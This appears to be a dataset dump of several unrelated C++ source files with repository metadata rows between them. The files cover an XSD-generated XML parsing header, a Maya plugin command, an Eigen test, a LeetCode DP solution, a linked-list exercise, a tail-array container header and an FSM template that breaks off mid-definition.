* @return A pointer to the dynamically allocated copy.
*
* This function ensures that the dynamic type of the instance is
* used for copying and should be used for polymorphic object
* models instead of the copy constructor.
*/
virtual region_coordinates*
_clone (::xml_schema::flags f = 0,
::xml_schema::container* c = 0) const;
/**
* @brief Copy assignment operator.
*
* @param x An instance to make a copy of.
* @return A reference to itself.
*
* For polymorphic object models use the @c _clone function instead.
*/
region_coordinates&
operator= (const region_coordinates& x);
//@}
/**
* @brief Destructor.
*/
virtual
~region_coordinates ();
// Implementation.
//
//@cond
protected:
void
parse (::xsd::cxx::xml::dom::parser< wchar_t >&,
::xml_schema::flags);
protected:
coordinates_sequence coordinates_;
//@endcond
};
}
#ifndef XSD_DONT_INCLUDE_INLINE
#include "shared_types.ixx"
#endif // XSD_DONT_INCLUDE_INLINE
#include <iosfwd>
#include <xercesc/sax/InputSource.hpp>
#include <xercesc/dom/DOMDocument.hpp>
#include <xercesc/dom/DOMErrorHandler.hpp>
namespace gdt
{
/**
* @name Parsing functions for the %region_coordinates document root.
*/
//@{
/**
* @brief Parse a URI or a local file.
*
* @param uri A URI or a local file name.
* @param f Parsing flags.
* @param p Parsing properties.
* @return A pointer to the root of the object model.
*
* This function uses exceptions to report parsing errors.
*/
GIDEON_CS_API
::std::unique_ptr< ::gdt::region_coordinates >
region_coordinates_ (const ::std::wstring& uri,
::xml_schema::flags f = 0,
const ::xml_schema::properties& p = ::xml_schema::properties ());
/**
* @brief Parse a URI or a local file with an error handler.
*
* @param uri A URI or a local file name.
* @param eh An error handler.
* @param f Parsing flags.
* @param p Parsing properties.
* @return A pointer to the root of the object model.
*
* This function reports parsing errors by calling the error handler.
*/
GIDEON_CS_API
::std::unique_ptr< ::gdt::region_coordinates >
region_coordinates_ (const ::std::wstring& uri,
::xml_schema::error_handler& eh,
::xml_schema::flags f = 0,
const ::xml_schema::properties& p = ::xml_schema::properties ());
/**
* @brief Parse a URI or a local file with a Xerces-C++ DOM error
* handler.
*
* @param uri A URI or a local file name.
* @param eh A Xerces-C++ DOM error handler.
* @param f Parsing flags.
* @param p Parsing properties.
* @return A pointer to the root of the object model.
*
* This function reports parsing errors by calling the error handler.
*/
GIDEON_CS_API
::std::unique_ptr< ::gdt::region_coordinates >
region_coordinates_ (const ::std::wstring& uri,
::xercesc::DOMErrorHandler& eh,
::xml_schema::flags f = 0,
const ::xml_schema::properties& p = ::xml_schema::properties ());
/**
* @brief Parse a standard input stream.
*
* @param is A standrad input stream.
* @param f Parsing flags.
* @param p Parsing properties.
* @return A pointer to the root of the object model.
*
* This function uses exceptions to report parsing errors.
*/
GIDEON_CS_API
::std::unique_ptr< ::gdt::region_coordinates >
region_coordinates_ (::std::istream& is,
::xml_schema::flags f = 0,
const ::xml_schema::properties& p = ::xml_schema::properties ());
/**
* @brief Parse a standard input stream with an error handler.
*
* @param is A standrad input stream.
* @param eh An error handler.
* @param f Parsing flags.
* @param p Parsing properties.
* @return A pointer to the root of the object model.
*
* This function reports parsing errors by calling the error handler.
*/
GIDEON_CS_API
::std::unique_ptr< ::gdt::region_coordinates >
region_coordinates_ (::std::istream& is,
::xml_schema::error_handler& eh,
::xml_schema::flags f = 0,
const ::xml_schema::properties& p = ::xml_schema::properties ());
/**
* @brief Parse a standard input stream with a Xerces-C++ DOM error
* handler.
*
* @param is A standrad input stream.
* @param eh A Xerces-C++ DOM error handler.
* @param f Parsing flags.
* @param p Parsing properties.
* @return A pointer to the root of the object model.
*
* This function reports parsing errors by calling the error handler.
*/
GIDEON_CS_API
::std::unique_ptr< ::gdt::region_coordinates >
region_coordinates_ (::std::istream& is,
::xercesc::DOMErrorHandler& eh,
::xml_schema::flags f = 0,
const ::xml_schema::properties& p = ::xml_schema::properties ());
/**
* @brief Parse a standard input stream with a resource id.
*
* @param is A standrad input stream.
* @param id A resource id.
* @param f Parsing flags.
* @param p Parsing properties.
* @return A pointer to the root of the object model.
*
* The resource id is used to identify the document being parsed in
* diagnostics as well as to resolve relative paths.
*
* This function uses exceptions to report parsing errors.
*/
GIDEON_CS_API
::std::unique_ptr< ::gdt::region_coordinates >
region_coordinates_ (::std::istream& is,
const ::std::wstring& id,
::xml_schema::flags f = 0,
const ::xml_schema::properties& p = ::xml_schema::properties ());
/**
* @brief Parse a standard input stream with a resource id and an
* error handler.
*
* @param is A standrad input stream.
* @param id A resource id.
* @param eh An error handler.
* @param f Parsing flags.
* @param p Parsing properties.
* @return A pointer to the root of the object model.
*
* The resource id is used to identify the document being parsed in
* diagnostics as well as to resolve relative paths.
*
* This function reports parsing errors by calling the error handler.
*/
GIDEON_CS_API
::std::unique_ptr< ::gdt::region_coordinates >
region_coordinates_ (::std::istream& is,
const ::std::wstring& id,
::xml_schema::error_handler& eh,
::xml_schema::flags f = 0,
const ::xml_schema::properties& p = ::xml_schema::properties ());
/**
* @brief Parse a standard input stream with a resource id and a
* Xerces-C++ DOM error handler.
*
* @param is A standrad input stream.
* @param id A resource id.
* @param eh A Xerces-C++ DOM error handler.
* @param f Parsing flags.
* @param p Parsing properties.
* @return A pointer to the root of the object model.
*
* The resource id is used to identify the document being parsed in
* diagnostics as well as to resolve relative paths.
*
* This function reports parsing errors by calling the error handler.
*/
GIDEON_CS_API
::std::unique_ptr< ::gdt::region_coordinates >
region_coordinates_ (::std::istream& is,
const ::std::wstring& id,
::xercesc::DOMErrorHandler& eh,
::xml_schema::flags f = 0,
const ::xml_schema::properties& p = ::xml_schema::properties ());
/**
* @brief Parse a Xerces-C++ input source.
*
* @param is A Xerces-C++ input source.
* @param f Parsing flags.
* @param p Parsing properties.
* @return A pointer to the root of the object model.
*
* This function uses exceptions to report parsing errors.
*/
GIDEON_CS_API
::std::unique_ptr< ::gdt::region_coordinates >
region_coordinates_ (::xercesc::InputSource& is,
::xml_schema::flags f = 0,
const ::xml_schema::properties& p = ::xml_schema::properties ());
/**
* @brief Parse a Xerces-C++ input source with an error handler.
*
* @param is A Xerces-C++ input source.
* @param eh An error handler.
* @param f Parsing flags.
* @param p Parsing properties.
* @return A pointer to the root of the object model.
*
* This function reports parsing errors by calling the error handler.
*/
GIDEON_CS_API
::std::unique_ptr< ::gdt::region_coordinates >
region_coordinates_ (::xercesc::InputSource& is,
::xml_schema::error_handler& eh,
::xml_schema::flags f = 0,
const ::xml_schema::properties& p = ::xml_schema::properties ());
/**
* @brief Parse a Xerces-C++ input source with a Xerces-C++ DOM
* error handler.
*
* @param is A Xerces-C++ input source.
* @param eh A Xerces-C++ DOM error handler.
* @param f Parsing flags.
* @param p Parsing properties.
* @return A pointer to the root of the object model.
*
* This function reports parsing errors by calling the error handler.
*/
GIDEON_CS_API
::std::unique_ptr< ::gdt::region_coordinates >
region_coordinates_ (::xercesc::InputSource& is,
::xercesc::DOMErrorHandler& eh,
::xml_schema::flags f = 0,
const ::xml_schema::properties& p = ::xml_schema::properties ());
/**
* @brief Parse a Xerces-C++ DOM document.
*
* @param d A Xerces-C++ DOM document.
* @param f Parsing flags.
* @param p Parsing properties.
* @return A pointer to the root of the object model.
*/
GIDEON_CS_API
::std::unique_ptr< ::gdt::region_coordinates >
region_coordinates_ (const ::xercesc::DOMDocument& d,
::xml_schema::flags f = 0,
const ::xml_schema::properties& p = ::xml_schema::properties ());
/**
* @brief Parse a Xerces-C++ DOM document.
*
* @param d A pointer to the Xerces-C++ DOM document.
* @param f Parsing flags.
* @param p Parsing properties.
* @return A pointer to the root of the object model.
*
* This function is normally used together with the keep_dom and
* own_dom parsing flags to assign ownership of the DOM document
* to the object model.
*/
GIDEON_CS_API
::std::unique_ptr< ::gdt::region_coordinates >
region_coordinates_ (::xml_schema::dom::unique_ptr< ::xercesc::DOMDocument > d,
::xml_schema::flags f = 0,
const ::xml_schema::properties& p = ::xml_schema::properties ());
//@}
}
#include <iosfwd>
#include <xercesc/dom/DOMDocument.hpp>
#include <xercesc/dom/DOMErrorHandler.hpp>
#include <xercesc/framework/XMLFormatter.hpp>
#include <xsd/cxx/xml/dom/auto-ptr.hxx>
namespace gdt
{
/**
* @name Serialization functions for the %region_coordinates document root.
*/
//@{
/**
* @brief Serialize to a standard output stream.
*
* @param os A standrad output stream.
* @param x An object model to serialize.
* @param m A namespace information map.
* @param e A character encoding to produce XML in.
* @param f Serialization flags.
*
* This function uses exceptions to report serialization errors.
*/
GIDEON_CS_API
void
region_coordinates_ (::std::ostream& os,
const ::gdt::region_coordinates& x,
const ::xml_schema::namespace_infomap& m = ::xml_schema::namespace_infomap (),
const ::std::wstring& e = L"UTF-8",
::xml_schema::flags f = 0);
/**
* @brief Serialize to a standard output stream with an error handler.
*
* @param os A standrad output stream.
* @param x An object model to serialize.
* @param eh An error handler.
* @param m A namespace information map.
* @param e A character encoding to produce XML in.
* @param f Serialization flags.
*
* This function reports serialization errors by calling the error
* handler.
*/
GIDEON_CS_API
void
region_coordinates_ (::std::ostream& os,
const ::gdt::region_coordinates& x,
::xml_schema::error_handler& eh,
const ::xml_schema::namespace_infomap& m = ::xml_schema::namespace_infomap (),
const ::std::wstring& e = L"UTF-8",
::xml_schema::flags f = 0);
/**
* @brief Serialize to a standard output stream with a Xerces-C++ DOM
* error handler.
*
* @param os A standrad output stream.
* @param x An object model to serialize.
* @param eh A Xerces-C++ DOM error handler.
* @param m A namespace information map.
* @param e A character encoding to produce XML in.
* @param f Serialization flags.
*
* This function reports serialization errors by calling the error
* handler.
*/
GIDEON_CS_API
void
region_coordinates_ (::std::ostream& os,
const ::gdt::region_coordinates& x,
::xercesc::DOMErrorHandler& eh,
const ::xml_schema::namespace_infomap& m = ::xml_schema::namespace_infomap (),
const ::std::wstring& e = L"UTF-8",
::xml_schema::flags f = 0);
/**
* @brief Serialize to a Xerces-C++ XML format target.
*
* @param ft A Xerces-C++ XML format target.
* @param x An object model to serialize.
* @param m A namespace information map.
* @param e A character encoding to produce XML in.
* @param f Serialization flags.
*
* This function uses exceptions to report serialization errors.
*/
GIDEON_CS_API
void
region_coordinates_ (::xercesc::XMLFormatTarget& ft,
const ::gdt::region_coordinates& x,
const ::xml_schema::namespace_infomap& m = ::xml_schema::namespace_infomap (),
const ::std::wstring& e = L"UTF-8",
::xml_schema::flags f = 0);
/**
* @brief Serialize to a Xerces-C++ XML format target with an error
* handler.
*
* @param ft A Xerces-C++ XML format target.
* @param x An object model to serialize.
* @param eh An error handler.
* @param m A namespace information map.
* @param e A character encoding to produce XML in.
* @param f Serialization flags.
*
* This function reports serialization errors by calling the error
* handler.
*/
GIDEON_CS_API
void
region_coordinates_ (::xercesc::XMLFormatTarget& ft,
const ::gdt::region_coordinates& x,
::xml_schema::error_handler& eh,
const ::xml_schema::namespace_infomap& m = ::xml_schema::namespace_infomap (),
const ::std::wstring& e = L"UTF-8",
::xml_schema::flags f = 0);
/**
* @brief Serialize to a Xerces-C++ XML format target with a
* Xerces-C++ DOM error handler.
*
* @param ft A Xerces-C++ XML format target.
* @param x An object model to serialize.
* @param eh A Xerces-C++ DOM error handler.
* @param m A namespace information map.
* @param e A character encoding to produce XML in.
* @param f Serialization flags.
*
* This function reports serialization errors by calling the error
* handler.
*/
GIDEON_CS_API
void
region_coordinates_ (::xercesc::XMLFormatTarget& ft,
const ::gdt::region_coordinates& x,
::xercesc::DOMErrorHandler& eh,
const ::xml_schema::namespace_infomap& m = ::xml_schema::namespace_infomap (),
const ::std::wstring& e = L"UTF-8",
::xml_schema::flags f = 0);
/**
* @brief Serialize to an existing Xerces-C++ DOM document.
*
* @param d A Xerces-C++ DOM document.
* @param x An object model to serialize.
* @param f Serialization flags.
*
* Note that it is your responsibility to create the DOM document
* with the correct root element as well as set the necessary
* namespace mapping attributes.
*/
GIDEON_CS_API
void
region_coordinates_ (::xercesc::DOMDocument& d,
const ::gdt::region_coordinates& x,
::xml_schema::flags f = 0);
/**
* @brief Serialize to a new Xerces-C++ DOM document.
*
* @param x An object model to serialize.
* @param m A namespace information map.
* @param f Serialization flags.
* @return A pointer to the new Xerces-C++ DOM document.
*/
GIDEON_CS_API
::xml_schema::dom::unique_ptr< ::xercesc::DOMDocument >
region_coordinates_ (const ::gdt::region_coordinates& x,
const ::xml_schema::namespace_infomap& m = ::xml_schema::namespace_infomap (),
::xml_schema::flags f = 0);
//@}
GIDEON_CS_API
void
operator<< (::xercesc::DOMElement&, const coordinates_t&);
GIDEON_CS_API
void
operator<< (::xercesc::DOMElement&, const region_coordinates&);
}
#ifndef XSD_DONT_INCLUDE_INLINE
#include "region_coordinates.ixx"
#endif // XSD_DONT_INCLUDE_INLINE
#include <xsd/cxx/post.hxx>
// Begin epilogue.
//
//
// End epilogue.
#endif // GDT_REGION_COORDINATES_HXX
| [
"[email protected]"
] | |
bae2e3073deec2392d116f21805ae08eb67d3db1 | 1ea9776dba66ef83e73ef3b3b9a16af6b83ee973 | /gerstner_wave/src/gerstnerWaveCmd.h | a5967b6db1a48880ef2976c8458cc064360c3e6f | [] | no_license | nyers33/maya_scripts_plugins | ad14ccbb6f50de47232442abfecb2677f8c42f88 | e1f8a85de1b19b8701a7aae6c4ee2b85566f669e | refs/heads/master | 2021-12-24T18:18:57.330091 | 2021-12-16T09:32:20 | 2021-12-16T09:32:20 | 216,003,949 | 5 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 457 | h | #ifndef GERSTNERWAVECMD_H
#define GERSTNERWAVECMD_H
#include <maya/MPxCommand.h>
#include <maya/MSyntax.h>
#include <maya/MArgList.h>
#include <maya/MDGModifier.h>
class gerstnerWaveCmd : public MPxCommand
{
public:
virtual MStatus doIt(const MArgList&);
virtual MStatus undoIt();
virtual MStatus redoIt();
virtual bool isUndoable() const { return true; };
static void* creator();
static MSyntax newSyntax();
private:
MDGModifier dgMod;
};
#endif | [
"[email protected]"
] | |
c37ce1e0a0701642cd271651b345aefa8b36c8b3 | c0e0138bff95c2eac038349772e36754887a10ae | /mdk_release_18.08.10_general_purpose/mdk/common/components/Eigen/EigenTests/tests/Eigen_sizeof/shave/sizeof_test.cpp | 7a2962a45f40f89f7e2009aa6b02f0e9e858d35e | [] | no_license | elfmedy/vvdn_tofa | f24d2e1adc617db5f2b1aef85f478998aa1840c9 | ce514e0506738a50c0e3f098d8363f206503a311 | refs/heads/master | 2020-04-13T17:52:19.490921 | 2018-09-25T12:01:21 | 2018-09-25T12:01:21 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 704 | cpp | // This file is part of Eigen, a lightweight C++ template library
// for linear algebra.
//
// Copyright (C) 2015 Gael Guennebaud <[email protected]>
//
// This Source Code Form is subject to the terms of the Mozilla
// Public License v. 2.0. If a copy of the MPL was not distributed
// with this file, You can obtain one at http://mozilla.org/MPL/2.0/.
#include <stdlib.h>
#include <stdio.h>
#include <sys/shave_system.h>
#include <iostream>
using namespace std;
void test_sizeof(void);
__attribute__((dllexport)) int main()
{ std::cerr.copyfmt(std::cout);
std::cerr.clear(std::cout.rdstate());
std::cerr.rdbuf(std::cout.rdbuf());
test_sizeof();
printf("All Passed!\n");
return 0;
}
| [
"[email protected]"
] | |
edfcacc803f30cc341203f2eaee802f1f763c9f0 | 0dd9cf13c4a9e5f28ae5f36e512e86de335c26b4 | /LeetCode/leetcode_profitable-schemes.cpp | a0512a53dc54a6869bd892cc845c388dc8ebb882 | [] | no_license | yular/CC--InterviewProblem | 908dfd6d538ccd405863c27c65c78379e91b9fd3 | c271ea63eda29575a7ed4a0bce3c0ed6f2af1410 | refs/heads/master | 2021-07-18T11:03:07.525048 | 2021-07-05T16:17:43 | 2021-07-05T16:17:43 | 17,499,294 | 37 | 13 | null | null | null | null | UTF-8 | C++ | false | false | 874 | cpp | /*
*
* Tag: DP
* Time: O(npg)
* Space: O(pg)
*/
class Solution {
private:
const int MOD = 1000000007;
public:
int profitableSchemes(int G, int P, vector<int>& group, vector<int>& profit) {
if(G == 0 || group.size() == 0 || profit.size() == 0){
return 0;
}
vector<vector<int>> dp(P + 1, vector<int>(G + 1, 0));
dp[0][0] = 1;
for(int k = 0; k < group.size(); ++ k){
int g = group[k], p = profit[k];
for(int i = P; i >= 0; -- i){
for(int j = G - g; j >= 0; -- j){
int actualP = min(P, i + p);
dp[actualP][j + g] = (dp[actualP][j + g] + dp[i][j])%MOD;
}
}
}
int ans = 0;
for(int val : dp[P]){
ans = (ans + val)%MOD;
}
return ans;
}
};
| [
"[email protected]"
] | |
5fe9187d5fb012c2c15a94fd43f16a05a69ed280 | dcf149e4e695e74165b40df30c6d327fe3f2fa3e | /libcurv/tail_array.h | 4f18f4397d7bc0e1f087520bdc3594e94761d619 | [
"Apache-2.0"
] | permissive | zeeyang/curv | d3fc87de0d270e19ec9f106c311a7db489b0c874 | 8fc802195bcf6fd52e4f8fadfb543d167615ea0e | refs/heads/master | 2023-04-17T19:02:57.255183 | 2021-05-05T01:02:59 | 2021-05-05T01:02:59 | 355,307,309 | 0 | 0 | Apache-2.0 | 2021-05-05T18:28:06 | 2021-04-06T19:29:43 | C++ | UTF-8 | C++ | false | false | 11,136 | h | // Copyright 2016-2020 Doug Moen
// Licensed under the Apache License, version 2.0
// See accompanying file LICENSE or https://www.apache.org/licenses/LICENSE-2.0
#ifndef LIBCURV_TAIL_ARRAY_H
#define LIBCURV_TAIL_ARRAY_H
#include <type_traits>
#include <cstdlib>
#include <cstring>
#include <new>
#include <utility>
#include <memory>
namespace curv {
// A call to this macro must be the very last statement in the tail array
// class definition, because array_ must be the last data member.
#define TAIL_ARRAY_MEMBERS(T) \
protected: \
size_t size_; \
public: \
size_t size() const noexcept { return size_; } \
bool empty() const noexcept { return size_ == 0; } \
TAIL_ARRAY_MEMBERS_MOD_SIZE(T)
// Used by subclasses of Abstract_List, which defines size_,size,empty.
#define TAIL_ARRAY_MEMBERS_MOD_SIZE(T) \
protected: \
T array_[0]; \
public: \
using value_type = T; \
\
value_type* begin() noexcept { return array_; } \
value_type* end() noexcept { return array_ + size_; } \
const value_type* begin() const noexcept { return array_; } \
const value_type* end() const noexcept { return array_ + size_; } \
\
value_type& operator[](size_t i) { return array_[i]; } \
const value_type& operator[](size_t i) const { return array_[i]; } \
value_type& at(size_t i) { return array_[i]; } \
const value_type& at(size_t i) const { return array_[i]; } \
\
value_type& front() { return array_[0]; } \
const value_type& front() const { return array_[0]; } \
value_type& back() { return array_[size_-1]; } \
const value_type& back() const { return array_[size_-1]; } \
/// Construct a class whose last data member is an inline variable sized array.
///
/// The performance benefits of putting an array inline with other data members
/// are a reduced number of allocations, improved cache locality, and space
/// savings, when compared to storing a pointer to a separately allocated
/// array.
///
/// Tail_Array is an alternative to using operator `new[]`. The latter heap
/// allocates an array prefixed with a 'cookie' that contains the size, and
/// perhaps other information. You have no control over the size or contents
/// of the cookie, and you can't access the size information. Since you
/// typically need to remember the size of the array, you have to store a second
/// copy of the size elsewhere. With Tail_Array, you precisely specify the
/// cookie using the Base class. For example, your tail array class can be a
/// subclass of a common polymorphic base class, and the cookie can contain a
/// vtable pointer. Or, the cookie can contain an intrusive reference count.
///
/// To define a class A containing a tail array of element type T:
/// ```
/// class Base : ... {
/// ...
/// using value_type = T;
/// size_t size_;
/// value_type array_[0];
/// };
/// using A = Tail_Array<Base>;
/// ```
///
/// The `Base` class must define a type name `value_type` and two data members,
/// `size_` and `array_` (as protected or public). The `Base` class constructors
/// are not responsible for initializing these two data members.
/// * `value_type` is the type of the array elements.
/// * `size_` holds the number of elements in the array.
/// * `array_` is declared as the last data member.
/// This array is magically extended at construction time to contain the
/// required number of elements, which is why it must be the last data
/// member. This declaration relies on a non-standard extension to C++
/// (zero length arrays) which is enabled by default in gcc, clang and msvc++.
///
/// All instances of the class are allocated on the heap.
/// The only way to construct instances are the `make` factory functions,
/// which return std::unique_ptr. (The pointers are deleted using `delete`,
/// but that happens internal to unique_ptr.)
///
/// `Tail_Array` uses `malloc` and `free` for storage management.
/// This is because C++ allocators don't provide an appropriate interface:
/// there's no way to allocate a Tail_Array object while requesting
/// the correct number of bytes and the correct alignment.
///
/// Suppose `Base` is derived from a polymorphic base class `P`, such that
/// you can delete a `P*`. A big clue is that `P` defines a virtual destructor.
/// Then `P` must override operator `new` and `delete` to use `malloc` and `free`.
///
/// The `Tail_Array` template restricts the `Base` class to support safe
/// construction of instances.
/// * The class is declared final. You can't inherit from it, because adding
/// additional data members after `array_` would cause undefined behaviour.
/// * All of the constructors are private. You can only construct instances
/// using the supplied factory functions, because ordinary C++ constructors
/// don't support variable-size objects.
/// * You can't assign to it, copy it or move it.
template<class Base>
class Tail_Array final : public Base
{
using _value_type = typename Base::value_type;
public:
/// Allocate an instance. Array elements are default constructed.
template<typename... Rest>
static std::unique_ptr<Tail_Array> make(size_t size, Rest&&... rest)
{
// allocate the object
void* mem = malloc(sizeof(Tail_Array) + size*sizeof(_value_type));
if (mem == nullptr)
throw std::bad_alloc();
Tail_Array* r = (Tail_Array*)mem;
// construct the array elements
if (!std::is_trivially_default_constructible<_value_type>::value) {
static_assert(
std::is_nothrow_default_constructible<_value_type>::value,
"value_type default constructor must be declared noexcept");
for (size_t i = 0; i < size; ++i)
{
new((void*)&r->Base::array_[i]) _value_type();
}
}
// then construct the rest of the object
try {
new(mem) Tail_Array(std::forward<Rest>(rest)...);
r->Base::size_ = size;
} catch(...) {
r->destroy_array(size);
free(mem);
throw;
}
return std::unique_ptr<Tail_Array>(r);
}
/// Allocate an instance. Move elements from another collection.
template<class C, typename... Rest>
static std::unique_ptr<Tail_Array> make_elements(C&& c, Rest&&... rest)
{
// allocate the object
auto size = c.size();
void* mem = malloc(sizeof(Tail_Array) + size*sizeof(_value_type));
if (mem == nullptr)
throw std::bad_alloc();
Tail_Array* r = (Tail_Array*)mem;
// construct the array elements
decltype(size) i = 0;
auto ptr = c.begin();
try {
while (i < size) {
new((void*)&r->Base::array_[i]) _value_type();
std::swap(r->Base::array_[i], *ptr);
++ptr;
++i;
}
} catch (...) {
r->destroy_array(i);
free(mem);
throw;
}
// then construct the rest of the object
try {
new(mem) Tail_Array(std::forward<Rest>(rest)...);
r->Base::size_ = size;
} catch(...) {
r->destroy_array(size);
free(mem);
throw;
}
return std::unique_ptr<Tail_Array>(r);
}
/// Allocate an instance. Copy array elements from another array.
template<typename... Rest>
static std::unique_ptr<Tail_Array> make_copy(const _value_type* a, size_t size, Rest&&... rest)
{
// allocate the object
void* mem = malloc(sizeof(Tail_Array) + size*sizeof(_value_type));
if (mem == nullptr)
throw std::bad_alloc();
Tail_Array* r = (Tail_Array*)mem;
// construct the array elements
if (std::is_trivially_copy_constructible<_value_type>::value) {
memcpy((void*)r->Base::array_, (void*)a, size*sizeof(_value_type));
} else if (std::is_nothrow_copy_constructible<_value_type>::value) {
for (size_t i = 0; i < size; ++i)
{
new((void*)&r->Base::array_[i]) _value_type(a[i]);
}
} else {
size_t i = 0;
try {
while (i < size) {
new((void*)&r->Base::array_[i]) _value_type(a[i]);
++i;
}
} catch (...) {
r->destroy_array(i);
free(mem);
throw;
}
}
// then construct the rest of the object
try {
new(mem) Tail_Array(std::forward<Rest>(rest)...);
r->Base::size_ = size;
} catch(...) {
r->destroy_array(size);
free(mem);
throw;
}
return std::unique_ptr<Tail_Array>(r);
}
/// Allocate an instance from an initializer list.
template<typename... Rest>
static std::unique_ptr<Tail_Array>
make(std::initializer_list<_value_type> il, Rest&&... rest)
{
// TODO: much code duplication here.
// allocate the object
void* mem = malloc(sizeof(Tail_Array) + il.size()*sizeof(_value_type));
if (mem == nullptr)
throw std::bad_alloc();
Tail_Array* r = (Tail_Array*)mem;
// construct the array elements
if (std::is_nothrow_copy_constructible<_value_type>::value) {
size_t i = 0;
for (auto& e : il) {
new((void*)&r->Base::array_[i]) _value_type(e);
++i;
}
} else {
size_t i = 0;
try {
for (auto& e : il) {
new((void*)&r->Base::array_[i]) _value_type(e);
++i;
}
} catch (...) {
r->destroy_array(i);
free(mem);
throw;
}
}
// then construct the rest of the object
try {
new(mem) Tail_Array(std::forward<Rest>(rest)...);
r->Base::size_ = il.size();
} catch(...) {
r->destroy_array(il.size());
free(mem);
throw;
}
return std::unique_ptr<Tail_Array>(r);
}
~Tail_Array()
{
destroy_array(Base::size_);
}
void operator delete(void* p) noexcept
{
free(p);
}
private:
using Base::Base; // no public constructors
Tail_Array& operator=(Tail_Array const&) = delete;
Tail_Array& operator=(Tail_Array &&) = delete;
void* operator new(std::size_t) = delete;
void* operator new(std::size_t size, void* ptr) noexcept
{
return ptr;
}
void destroy_array(size_t size)
{
if (!std::is_trivially_destructible<_value_type>::value) {
static_assert(std::is_nothrow_destructible<_value_type>::value,
"value_type destructor must be declared noexcept");
for (size_t i = 0; i < size; ++i)
{
Base::array_[i].~_value_type();
}
}
}
};
} // namespace
#endif // header guard
| [
"[email protected]"
] | |
29162172e68708cd4720c9d707925151395fb0cc | 603e4bcfb9caab371e97caa049102110856474d1 | /Linked List/find_a_node_in_LL.cpp | 0035bb06610b7091f51da07d11a0675caae0b199 | [] | no_license | sahilmehra98/Data-Structures | cc1f8a1173f306582f2a9098527c953732a333f8 | 106684017f17f7575cdc76a10753868506d2d507 | refs/heads/master | 2023-03-10T21:39:06.196324 | 2020-06-07T18:07:14 | 2020-06-07T18:07:14 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,577 | cpp | /*
Find a node in LL
Given a linked list and an integer n you need to find and return index where n is present in the LL. Do this iteratively.
Return -1 if n is not present in the LL.
Indexing of nodes starts from 0.
Input format :
Line 1 : Linked list elements (separated by space and terminated by -1)
Line 2 : Integer n
Output format :
Index
Sample Input 1 :
3 4 5 2 6 1 9 -1
5
Sample Output 1 :
2
Sample Input 2 :
3 4 5 2 6 1 9 -1
6
Sample Output 2 :
4
*/
#include <iostream>
using namespace std;
class Node{
public:
int data;
Node *next;
Node(int data){
this -> data = data;
this -> next = NULL;
}
};
Node* takeinput() {
int data;
cin >> data;
Node* head = NULL, *tail = NULL;
while(data != -1){
Node *newNode = new Node(data);
if(head == NULL) {
head = newNode;
tail = newNode;
}
else{
tail -> next = newNode;
tail = newNode;
}
cin >> data;
}
return head;
}
void print(Node *head) {
Node *temp = head;
while(temp != NULL) {
cout << temp -> data << " ";
temp = temp -> next;
}
cout<<endl;
}
int getIndex(Node *head, int n, int index){
if(head==NULL){
return -1;
}
if(head->data==n){
return index;
}
return getIndex(head->next, n, index+1);
}
int indexOfNIter(Node *head, int n) {
return getIndex(head, n, 0);
}
int main() {
Node *head = takeinput();
int n;
cin >> n;
cout << indexOfNIter(head, n);
}
| [
"[email protected]"
] | |
be5fe104ab0a22e6bda018b72b586783bcadbd24 | a9f28860e243219187ea42db2e1a830cad275b7d | /Classes/Button.h | 8e1f7a948b5da0c7b2e6165d6222630541d8450f | [] | no_license | zeroAA/GetFish | f6f0af7afab1a349ff304aacf1d3ce45930b0a3c | 24560d59d1441de5eeebfc338637ed1174851b1c | refs/heads/master | 2016-09-15T19:51:17.050602 | 2015-09-08T10:06:58 | 2015-09-08T10:06:58 | 29,575,600 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,012 | h | //
// Button.h
// Zengine
//
// Created by zs on 14-6-13.
//
//
#ifndef __Zengine__Button__
#define __Zengine__Button__
#include "cocos2d.h"
#include "Actor.h"
USING_NS_CC;
class Button : public Actor
{
public:
Button();
static Button* create(int id, const char* name);
virtual bool init(int id, const char* name);
static Button* createWithFont(int id, const char* name,CCLabelBMFont *font,float fontScale);
virtual bool initWithFont(int id, const char* name,CCLabelBMFont *font,float fontScale);
static Button* createWithSprite(int id, const char* name,CCSprite *sprite,float spriteScale,CCPoint pos);
virtual bool initWithSprite(int id, const char* name,CCSprite *sprite,float spriteScale,CCPoint pos);
virtual ~Button();
// void setAdd(float add);
//
// void setAdd(float addX , float addY);
virtual bool touchesBegan(CCSet * touchs,CCEvent * event);
virtual bool touchesMoved(CCSet * touchs,CCEvent * event);
virtual bool touchesCancelled(CCSet * touchs,CCEvent * event);
virtual bool touchesEnded(CCSet * touchs,CCEvent * event);
virtual bool toucheBegan(CCTouch *pTouch,CCEvent * event);
virtual bool toucheMoved(CCTouch *pTouch,CCEvent * event);
virtual bool toucheCancelled(CCTouch *pTouch,CCEvent * event);
virtual bool toucheEnded(CCTouch *pTouch,CCEvent * event);
bool toucheBeganAction(CCPoint pos);
bool toucheMovedAction(CCPoint pos);
bool toucheCancelledAction(CCPoint pos);
bool toucheEndedAction(CCPoint pos);
void end();
// void setBody();
CC_SYNTHESIZE(int, _id, ID);
// const static int STATE_
protected:
CCLabelBMFont * _font;
float _fontScale;
CCSprite* _sprite;
float _spriteScale;
// float _addX;
//
// float _addY;
// CCRect _body;
};
#endif /* defined(__Zengine__Button__) */
| [
"[email protected]"
] | |
90ad9c731be26e0c39555cb35397a57e97f943b3 | efd15f42f6470a8fe73188456cfbe44143f426c9 | /fsm.hpp | 39bdd3e1896ddc9781196d8b53a2230b818590c4 | [] | no_license | pehlivanian/Order_FSM | 01e739b6435e38f3279ea68a6421701833955ef7 | 75da7695ff5543054e317473b3f7bbb4f32203f6 | refs/heads/master | 2021-01-23T20:12:05.378358 | 2016-09-12T14:53:45 | 2016-09-12T14:53:45 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,557 | hpp | #ifndef __FSM_H__
#define __FSM_H__
#include <assert.h>
#include "debug.h"
template< class Outer, typename STATES, typename EVENTS >
class FSM {
public:
typedef void (Outer::*ActionFn)();
FSM(ActionFn a[STATES::NSTATES][EVENTS::NEVENTS]);
void* fsm_args;
void state_transition(STATES new_state );
void process_event(EVENTS ev);
STATES get_state();
void assert_state(STATES s) const;
private:
STATES state;
ActionFn (*actions)[EVENTS::NEVENTS];
};
template <class Outer, typename STATES, typename EVENTS> inline
FSM< Outer, STATES, EVENTS>::
